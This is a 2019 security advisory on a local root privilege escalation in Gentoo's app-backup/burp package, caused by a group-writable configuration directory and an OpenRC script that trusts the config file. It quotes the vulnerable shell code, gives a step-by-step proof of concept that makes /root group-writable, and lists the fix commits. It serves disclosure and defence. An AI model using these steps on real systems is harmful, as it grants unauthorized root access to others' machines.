posted 2019-03-26
Prior to version 2.1.32-r1, the Gentoo app-backup/burp package gives ownership of its configuration directory to the daemon's runtime group. That can be exploited by the runtime user (and other members of the group) to gain root privileges, because the OpenRC service script grants the group write access to a path defined in the main burp configuration file.
The general principle behind this exploit is explained in the article Configuration should be owned and writable only by root.
The OpenRC service script for the Gentoo app-backup/burp package lets the burp group write to its configuration directory:
start_pre() {
checkpath -o root:burp -m 0775 -d /etc/burp
checkpath -o root:burp -m 0640 -f /etc/burp/burp-server.conf
checkpath -o root:burp -m 0750 -d /etc/burp/clientconfdir
checkpath -o root:burp -m 0770 -d "$(get_backup_dir)"
}While the intent of the second checkpath is to make /etc/burp/burp-server.conf group-readable, the ability to write to /etc/burp makes that file ultimately group-writable because the whole file can simply be replaced. Before version 2.1.32-r1, the app-backup/burp ebuilds themselves granted these permissions,
src_install() {
...
emake DESTDIR="${D}" install-configs
fowners -R root:${PN} /etc/burp
fperms 0775 /etc/burp
fperms 0640 /etc/burp/burp-server.conf
fperms 0750 /etc/burp/clientconfdir
...
}but v2.1.32 and newer set safe initial permissions (fixed in commit 25a4b59e). The issue lingered in the OpenRC service script for much longer, however.
Write access to the configuration file can be exploited by the burp group to gain root privileges, because the service script trusts the contents of that file. In particular, the line
will make the result of the get_backup_dir function writable by the burp group. And that function simply parses the configuration file, which is writable by the group:
get_backup_dir() {
grep '^directory = ' "/etc/burp/burp-server.conf" \
| sed -e 's/^directory = //'
}
Thus by altering the value of directory, members of the
burp group can gain write access to arbitrary directories.
For a proof-of-concept, first install a vulnerable version of app-backup/burp:
root # emerge app-backup/burp
Then, start the service once to ensure that the configuration directory is group-writable:
root # rc-service burp start
* /etc/burp: correcting mode
* Starting burp ... [ ok ]
root # rc-service burp stop
* Stopping burp ... [ ok ]
Now, as the burp user, replace the configuration file with
a modified version that has directory = /root:
root # su -s /bin/sh burp
burp $ cd /etc/burp
burp $ sed 's:/var/spool/burp:/root:' burp-server.conf > burp-server.mine
burp $ rm -f burp-server.conf
burp $ mv burp-server.mine burp-server.conf
burp $ exit
And start the service one more time…
root # rc-service burp start
* /etc/burp/burp-server.conf: correcting mode
* /etc/burp/burp-server.conf: correcting owner
* /root: correcting mode
* /root: correcting owner
* Starting burp ...
and /root is writable by anyone in the burp group.
The burp group does not need write access to its configuration directory, so the fix is simple: don't give the burp group write access to its configuration directory. This change must be made in two places, in the ebuild where the directories are created, and in the OpenRC service script that modifies the permissions each time the service is started.
The initial permissions, set by the ebuild itself, were fixed in commits 25a4b59e and 5cd39164 and released as part of version 2.1.32. The OpenRC service script was fixed later, in commits 4b3a76d6 and 2faf0fcb, as part of version 2.1.32-r1.